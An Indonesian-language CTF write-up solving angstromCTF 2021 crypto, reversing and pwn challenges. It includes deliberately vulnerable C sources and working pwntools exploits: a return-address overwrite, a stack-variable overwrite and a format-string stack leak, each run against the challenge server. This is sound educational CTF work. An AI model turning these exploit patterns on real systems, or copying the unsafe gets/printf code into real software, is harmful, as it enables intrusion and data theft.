angstromCTF 2021 - Writeup

Halo. post pertama di blog nihh xD
Karena harus terbiasa, jadi pake bahasa indonesia dulu deh. (Padahal mah emang ga lancar bahasa inggris). Dan sekaligus blog ini akan jadi bukti nyata proses penulis dalam dunia CTF. Oke langsung aja, berikut adalah pembahasan challenge-challenge yang berhasil penulis kerjakan pada ångstromCTF 2021.
Crypto
Exclusive Cipher (40 points | 511 solves)
Challenge Description:
Clam decided to return to classic cryptography and revisit the XOR cipher! Here's some hex encoded ciphertext:
ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d218227e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c
The key is 5 bytes long and the flag is somewhere in the message.
Author: aplet123
Solution:
Kalau dilihat dari deskripsi soal yang diberikan
“The key is 5 bytes
long and the flag is somewhere in the message.
”. Panjang Key yang digunakan untuk meng-xor plaintext adalah 5 byte, dan flagnya terdapat didalam ciphertext tersebut.
Penulis berpikiran untuk membuat sebuah potentialKey list, dengan cara mengambil byte-byte yang ada pada ciphertext sepanjang 5 byte-5 byte (1-5, 2-6, 3-7, … 119-124).
Lalu, setiap item pada potentialKey akan di xor dengan partial plain text,yaitu : actf{
(format flag, yang ada didalam ciphertext), yang akan menghasilkan sebuah KeyList. KeyList inilah yang bisa kita manfaatkan untuk melakukan ranged bruteforce terhadap ciphertext.
from pwn import *
import binascii
cipher = b"ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d218227e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c"
cipher = binascii.unhexlify(cipher)
potentialKey = []
for x in range(len(cipher)):
xplus5 = x+5
currentKey = cipher[x:xplus5]
potentialKey.append(currentKey)
if xplus5 == 124:
break
partial_flag = b"actf{"
keyList = []
for x in range(len(potentialKey)):
currentKey = potentialKey[x]
plain = xor(partial_flag,currentKey)
keyList.append(plain)
dumperPlain = []
for x in range(len(keyList)):
currentKey = keyList[x]
plain = xor(cipher,currentKey)
if b"Congratulations" in plain:
# how do I know, there is Congratulations in the string? because i already solve it (for beautify purpose :d)
log.info("The Key : {}".format(currentKey))
log.info("Plain : {}".format(plain.decode()))
# Output:
# [*] The Key : b'\xedH\x85]f'
# [*] Plain : Congratulations on decrypting the message! The flag is actf{who_needs_aes_when_you_have_xor}. Good luck on the other crypto!
FLAG : actf{who_needs_aes_when_you_have_xor}
sosig (70 points | 513 solves)
Challenge Description:
Oh man, RSA is so cool. But I don't trust the professionals,
I do things MY WAY. And I'll make my encryption EXTRA secure with an extra thicc e!
You'll never crack it!
[out.txt]
Author: preterite
Kita diberikan file out.txt yang berisikan:
n: 14750066592102758338439084633102741562223591219203189630943672052966621000303456154519803347515025343887382895947775102026034724963378796748540962761394976640342952864739817208825060998189863895968377311649727387838842768794907298646858817890355227417112558852941256395099287929105321231423843497683829478037738006465714535962975416749856785131866597896785844920331956408044840947794833607105618537636218805733376160227327430999385381100775206216452873601027657796973537738599486407175485512639216962928342599015083119118427698674651617214613899357676204734972902992520821894997178904380464872430366181367264392613853
e: 1565336867050084418175648255951787385210447426053509940604773714920538186626599544205650930290507488101084406133534952824870574206657001772499200054242869433576997083771681292767883558741035048709147361410374583497093789053796608379349251534173712598809610768827399960892633213891294284028207199214376738821461246246104062752066758753923394299202917181866781416802075330591787701014530384229203479804290513752235720665571406786263275104965317187989010499908261009845580404540057576978451123220079829779640248363439352875353251089877469182322877181082071530177910308044934497618710160920546552403519187122388217521799
c: 13067887214770834859882729083096183414253591114054566867778732927981528109240197732278980637604409077279483576044261261729124748363294247239690562657430782584224122004420301931314936928578830644763492538873493641682521021685732927424356100927290745782276353158739656810783035098550906086848009045459212837777421406519491289258493280923664889713969077391608901130021239064013366080972266795084345524051559582852664261180284051680377362774381414766499086654799238570091955607718664190238379695293781279636807925927079984771290764386461437633167913864077783899895902667170959671987557815445816604741675326291681074212227
Disini penulis menggunakan bantuan RsaCtfTool untuk menyelesaikan challenge.
# rsactftool ='python3 RsaCtfTool.py'
# rsactftool -n <nilai_n> -e <nilai_e> --uncipher <nilai_c>
rsactftool -n 14750066592102758338439084633102741562223591219203189630943672052966621000303456154519803347515025343887382895947775102026034724963378796748540962761394976640342952864739817208825060998189863895968377311649727387838842768794907298646858817890355227417112558852941256395099287929105321231423843497683829478037738006465714535962975416749856785131866597896785844920331956408044840947794833607105618537636218805733376160227327430999385381100775206216452873601027657796973537738599486407175485512639216962928342599015083119118427698674651617214613899357676204734972902992520821894997178904380464872430366181367264392613853 -e 1565336867050084418175648255951787385210447426053509940604773714920538186626599544205650930290507488101084406133534952824870574206657001772499200054242869433576997083771681292767883558741035048709147361410374583497093789053796608379349251534173712598809610768827399960892633213891294284028207199214376738821461246246104062752066758753923394299202917181866781416802075330591787701014530384229203479804290513752235720665571406786263275104965317187989010499908261009845580404540057576978451123220079829779640248363439352875353251089877469182322877181082071530177910308044934497618710160920546552403519187122388217521799 --uncipher 13067887214770834859882729083096183414253591114054566867778732927981528109240197732278980637604409077279483576044261261729124748363294247239690562657430782584224122004420301931314936928578830644763492538873493641682521021685732927424356100927290745782276353158739656810783035098550906086848009045459212837777421406519491289258493280923664889713969077391608901130021239064013366080972266795084345524051559582852664261180284051680377362774381414766499086654799238570091955607718664190238379695293781279636807925927079984771290764386461437633167913864077783899895902667170959671987557815445816604741675326291681074212227
Output:
Unciphered data :
HEX : 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000616374667b643067677921212131313121317d
INT (big endian) : 2171836009541217697584158264673348205034942845
INT (little endian) : 15804014857499183980308679242095643171069528060658942625459961461717500461321378097384874659881191587123315225642911346865877242121610766505562929845580249984395417349928887270944923939737203099604976310091812426728725058756632226038287167697818264770875310702907936299194262488462801486201339410530135369171982105705188575604110988131140122006945055970544653009018942480390380677878622404476939741797268383599786512324973927405445548179730199434746451059943564348186920026153649872419306398034949296512870300598600090343334055930875874861749823555478892475109584363957881933030703932371890176752754830060562426101760
STR : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00actf{d0ggy!!!111!1}'
FLAG : actf{d0ggy!!!111!1}
REV
FREE FLAGS!!1!! (50 points | 754 solves)
Challenge Description:
Clam was browsing armstrongctf.com when suddenly a popup appeared saying "GET YOUR FREE FLAGS HERE!!!" along with a download. Can you fill out the survey for free flags?
Find it on the shell server at /problems/2021/free_flags or over netcat at nc shell.actf.co 21703.
[free_flags]
Author: aplet123
File Information
> file ./free_flags
./free_flags: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, not stripped
Hasil Decompile:

Terdapat function print_flag yang akan menampilkan flag (yaiyalah xD).
Agar kita flow (alur) kita bisa sampai ke function print_flag, kita perlu melewati beberapa kondisi/komparasi (if).
if (our_input_1 == 0x7a69)
# Input 1 - Kita perlu memasukan angka 31337 (0x7a69)
if ((our_input_2 + our_input_3 == 0x476) && (our_input_2 * our_input_3 == 0x49f59))
# Input 2 & Input 3, kita harus memasukan angka yang:
# - jika ditambah menghasilkan 1142
# - jika dikali menghasilkan 302937
# Input 2 = 723
# Input 3 = 419
iVar1 = strcmp(our_input_4_string,"banana");
if (iVar1 == 0)
# Input 4, kita harus memasukan string "banana"
Berikut adalah solver penulis:
#!/usr/bin/env python
from pwn import *
import sys
context.log_level = "warn"
def exploit(io):
# What number am I thinking of???
io.sendline("31337")
# What two numbers am I thinking of???
io.sendline("723")
io.sendline("419")
# What animal am I thinking of???
io.sendline("banana")
io.recvuntil("Oh yeah, here's the FREE FLAG:\n")
print(io.recvline().strip().decode())
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1] == "r":
io = remote("shell.actf.co", 21703)
else:
io = ELF("./free_flags")
io = io.process()
exploit(io)
[+] Opening connection to shell.actf.co on port 21703: Done
[*] Switching to interactive mode
Congratulations! You are the 1000th CTFer!!! Fill out this short survey to get FREE FLAGS!!!
What number am I thinking of???
What two numbers am I thinking of???
What animal am I thinking of???
Wow!!! Now I can sell your information to the Russian government!!!
Oh yeah, here is the FREE FLAG:
actf{what_do_you_mean_bananas_arent_animals}
[*] Got EOF while reading in interactive
Flag : actf{what_do_you_mean_bananas_arent_animals}
PWN
tranquil (70 points | 495 solves)
Challenge Description:
Finally, inner peace - Master Oogway
[tranquil] [tranquil.c]
Connect with nc shell.actf.co 21830, or find it on the shell server at /problems/2021/tranquil.
Author: JoshDaBosh
Binary Information:
phobos@PH0bo5:~/Documents/ctf/angstromCTF2021/binary/02tranquil_SOLVED$ cs tranquil
[*] '/home/phobos/Documents/ctf/angstromCTF2021/binary/02tranquil_SOLVED/tranquil'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
tranquil.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int win(){
char flag[128];
FILE *file = fopen("flag.txt","r");
if (!file) {
printf("Missing flag.txt. Contact an admin if you see this on remote.");
exit(1);
}
fgets(flag, 128, file);
puts(flag);
}
int vuln(){
char password[64];
puts("Enter the secret word: ");
gets(&password);
if(strcmp(password, "password123") == 0){
puts("Logged in! The flag is somewhere else though...");
} else {
puts("Login failed!");
}
return 0;
}
int main(){
setbuf(stdout, NULL);
setbuf(stderr, NULL);
vuln();
// not so easy for you!
// win();
return 0;
}
Disini kita ketahui terdapat bug buffer overflow yang bisa kita gunakan untuk meng-overwrite return address menjadi function win (lompat/memanggil function win). Yang harus kita lakukan adalah mencari Offset RIP dan address win.
pwndbg> cyclic -l 0x61616173
72
pwndbg> p win
$1 = {<text variable, no debug info>} 0x401196 <win>
RIP Offset = 72 WIN Address = 0x401196
Berikut adalah solver penulis:
#!/usr/bin/env python
from pwn import *
import sys
from pwnlib import context
from pwnlib.util.cyclic import cyclic_find
WIN_ADDRESS = 0x401196
RIP_OFFSET = cyclic_find(0x61616173) # 72
def exploit(io):
p = b"A"*RIP_OFFSET
p += p64(WIN_ADDRESS)
io.sendline(p)
io.interactive()
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1] == "r":
io = remote("shell.actf.co", 21830)
else:
io = ELF("./tranquil")
io = io.process()
exploit(io)
phobos@PH0bo5:~/Documents/ctf/angstromCTF2021/binary/02tranquil_SOLVED$ python3 solve.py r
[+] Opening connection to shell.actf.co on port 21830: Done
[*] Switching to interactive mode
Enter the secret word:
Login failed!
actf{time_has_gone_so_fast_watching_the_leaves_fall_from_our_instruction_pointer_864f647975d259d7a5bee6e1}
FLAG : actf{time_has_gone_so_fast_watching_the_leaves_fall_from_our_instruction_pointer_864f647975d259d7a5bee6e1}
Sanity Checks (80 points | 385 solves)
Challenge Description:
I made a program (source) to protect my flag. On the off chance someone does get in, I added some sanity checks to detect if something fishy is going on. See if you can hack me at /problems/2021/sanity_checks on the shell server, or connect with nc shell.actf.co 21303.
[checks] [checks.c]
Author: kmh
Binary Information:
phobos@PH0bo5:~/Documents/ctf/angstromCTF2021/binary/03sanity_check_SOLVED$ cs checks
[*] '/home/phobos/Documents/ctf/angstromCTF2021/binary/03sanity_check_SOLVED/checks'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
checks.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(){
setbuf(stdout, NULL);
setbuf(stderr, NULL);
char password[64];
int ways_to_leave_your_lover = 0;
int what_i_cant_drive = 0;
int when_im_walking_out_on_center_circle = 0;
int which_highway_to_take_my_telephones_to = 0;
int when_i_learned_the_truth = 0;
printf("Enter the secret word: ");
gets(&password);
if(strcmp(password, "password123") == 0){
puts("Logged in! Let's just do some quick checks to make sure everything's in order...");
if (ways_to_leave_your_lover == 50) {
if (what_i_cant_drive == 55) {
if (when_im_walking_out_on_center_circle == 245) {
if (which_highway_to_take_my_telephones_to == 61) {
if (when_i_learned_the_truth == 17) {
char flag[128];
FILE *f = fopen("flag.txt","r");
if (!f) {
printf("Missing flag.txt. Contact an admin if you see this on remote.");
exit(1);
}
fgets(flag, 128, f);
printf(flag);
return;
}
}
}
}
}
puts("Nope, something seems off.");
} else {
puts("Login failed!");
}
}
Hmm.. buffer overflow.. tapi kali ini kita harus melakukan overwrite terhadap value-value diatas.
Sedikit info strncmp memiliki “bug” (entah bisa dibilang bug atau bukan :u) yaitu, strncmp akan berhenti melakukan read terhadap value (value yang akan dicompare) ketika bertemu dengan null byte.
Berikut adalah script solver penulis:
#!/usr/bin/env python
from pwn import *
from os import path
import sys
from pwnlib import context
from pwnlib.util.cyclic import cyclic_find
DIR = path.dirname(path.abspath(__file__))
def exploit(io):
p = b"password123\x00" # strncmp "bug"
p = p.ljust(76,b"A") # padding dengan total 76 karakter
# kenapa 76? karena tepat bersamaan dengan offset ini,
# "input" kita akan di compare dengan if selanjutnya.
# sampai akhirnya, flag akan di print.
# [Q] Kok value yang ingin dicompare urutannya kebalik?
# [A] Sesuai dengan cara kerja stack..
# LIFO (Last In First Out)
p += p32(0x11) # 17 - Pertama dimasukan (Keluar kelima)
p += p32(0x3d) # 61 - Kedua dimasukan (Keluar keempat)
p += p32(0xf5) # 245 - Ketiga dimasukan (Keluar ketiga)
p += p32(0x37) # 55 - Keempat dimasukan (Keluar kedua)
p += p32(0x32) # 50 - Terakhir dimasukan (Keluar pertama)
# raw_input("pause")
io.sendline(p)
io.interactive()
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1] == "r":
io = remote("shell.actf.co", 21303)
else:
io = ELF(DIR+"/checks")
io = io.process()
exploit(io)
phobos@PH0bo5:~/Documents/ctf/angstromCTF2021/binary/03sanity_check_SOLVED$ python3 solve.py r
[+] Opening connection to shell.actf.co on port 21303: Done
[*] Switching to interactive mode
Enter the secret word: Logged in! Let's just do some quick checks to make sure everything's in order...
actf{if_you_aint_bout_flags_then_i_dont_mess_with_yall}
[*] Got EOF while reading in interactive
FLAG : actf{if_you_aint_bout_flags_then_i_dont_mess_with_yall}
stickystacks (90 points | 319 solves)
Challenge Description:
I made a program that holds a lot of secrets... maybe even a flag!
[stickystacks] [stickystacks.c]
Connect with nc shell.actf.co 21820, or visit /problems/2021/stickystacks on the shell server.
Author: JoshDaBosh
Binary Information:
phobos@PH0bo5:~/Documents/ctf/angstromCTF2021/binary/04stickystacks_SOLVED$ cs stickystacks
[*] '/home/phobos/Documents/ctf/angstromCTF2021/binary/04stickystacks_SOLVED/stickystacks'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
stickystacks.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct Secrets {
char secret1[50];
char password[50];
char birthday[50];
char ssn[50];
char flag[128];
} Secrets;
int vuln(){
char name[7];
Secrets boshsecrets = {
.secret1 = "CTFs are fun!",
.password= "password123",
.birthday = "1/1/1970",
.ssn = "123-456-7890",
};
FILE *f = fopen("flag.txt","r");
if (!f) {
printf("Missing flag.txt. Contact an admin if you see this on remote.");
exit(1);
}
fgets(&(boshsecrets.flag), 128, f); // char flag[128];
puts("Name: ");
fgets(name, 6, stdin); // char name[7];
printf("Welcome, ");
printf(name);
printf("\n");
return 0;
}
int main(){
setbuf(stdout, NULL);
setbuf(stderr, NULL);
vuln();
return 0;
}
Perhatikan baik-baik, terdapat function printf(name). Function printf() yang tidak ditentukan outputnya dapat memicu format string attack. Dan terdapat juga buf buffer overflow, tetapi hanya 1 byte (6 - 7 = -1). Dapat kita ketahui juga bahwa, file flag.txt
sudah dipanggil/dibuka (sudah berada dalam stack). Dengan hal ini penulis memutuskan untuk memanfaatkan bug Format String attack untuk melakukan leaking terhadap stack yang ada di program.
Berikut adalah script solver penulis:
#!/usr/bin/env python
from pwn import *
from os import path
import sys
DIR = path.dirname(path.abspath(__file__))
context.log_level = "warn"
REMOTE, LOCAL = True, True
FOUND_FLAG = False
flag = b""
def exploit(io):
global FOUND_FLAG
global flag
for x in range(1,50):
if REMOTE == True:
io = remote("shell.actf.co", 21820)
elif LOCAL == True:
io = ELF("./stickystacks")
io = io.process()
p = b""
p += f"%{x}$p".encode()
io.sendline(p)
io.recvuntil("Welcome, ")
LEAKED_MEMORY = io.recvline().strip().decode()
if "(nil)" not in LEAKED_MEMORY:
LEAKED_MEMORY = p64( int(LEAKED_MEMORY, 16) )
# Comment this if u want in silent mode
print("[{}] Current Leaked : {}".format(str(x).rjust(2,"0"), LEAKED_MEMORY))
if b"actf" in LEAKED_MEMORY:
FOUND_FLAG = True
flag += LEAKED_MEMORY
elif FOUND_FLAG == True and b"\n" not in flag:
flag += LEAKED_MEMORY
elif FOUND_FLAG == True and b"\n" in LEAKED_MEMORY:
flag += LEAKED_MEMORY
break
# String Flag terdapat pada index ke: 33, 34, 35, 36, 37, 38, 39, 40, 41, 42
print(flag.strip().decode())
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1] == "r":
io = remote("shell.actf.co", 21820)
REMOTE = True
else:
io = ELF(DIR+"/stickystacks")
io = io.process()
LOCAL = True
exploit(io)
phobos@PH0bo5:~/Documents/ctf/angstromCTF2021/binary/04stickystacks_SOLVED$ python3 solve.py r
[01] Current Leaked : b'\xa0\x9d\xae\xa0\xfd\x7f\x00\x00'
[04] Current Leaked : b'\t\x00\x00\x00\x00\x00\x00\x00'
[05] Current Leaked : b'\t\x00\x00\x00\x00\x00\x00\x00'
[06] Current Leaked : b'\x01\x00\x00\x00\x00\x00\x00\x00'
[07] Current Leaked : b'\xa0\x82,\x02\x00\x00\x00\x00'
[08] Current Leaked : b'CTFs are'
[09] Current Leaked : b' fun!\x00\x00\x00'
[14] Current Leaked : b'\x00\x00passwo'
[15] Current Leaked : b'rd123\x00\x00\x00'
[20] Current Leaked : b'\x00\x00\x00\x001/1/'
[21] Current Leaked : b'1970\x00\x00\x00\x00'
[26] Current Leaked : b'\x00\x00\x00\x00\x00\x0012'
[27] Current Leaked : b'3-456-78'
[28] Current Leaked : b'90\x00\x00\x00\x00\x00\x00'
[33] Current Leaked : b'actf{wel'
[34] Current Leaked : b"l_i'm_ba"
[35] Current Leaked : b'ck_in_bl'
[36] Current Leaked : b'ack_yes_'
[37] Current Leaked : b"i'm_back"
[38] Current Leaked : b'_in_the_'
[39] Current Leaked : b'stack_be'
[40] Current Leaked : b'c9b51294'
[41] Current Leaked : b'ead77684'
[42] Current Leaked : b'a1f593}\n'
[49] Current Leaked : b' \x14@\x00\x00\x00\x00\x00'
actf{well_i'm_back_in_black_yes_i'm_back_in_the_stack_bec9b51294ead77684a1f593}
FLAG : actf{well_i’m_back_in_black_yes_i’m_back_in_the_stack_bec9b51294ead77684a1f593}
Hasil yang memuaskan? sama sekali tidak. Penulis sedang berusaha mengejar seseorang dengan quotes-nya “DON’T PUSH YOURSELF!”. Sekian dulu ya. InsyaAllah ngepost lagi :3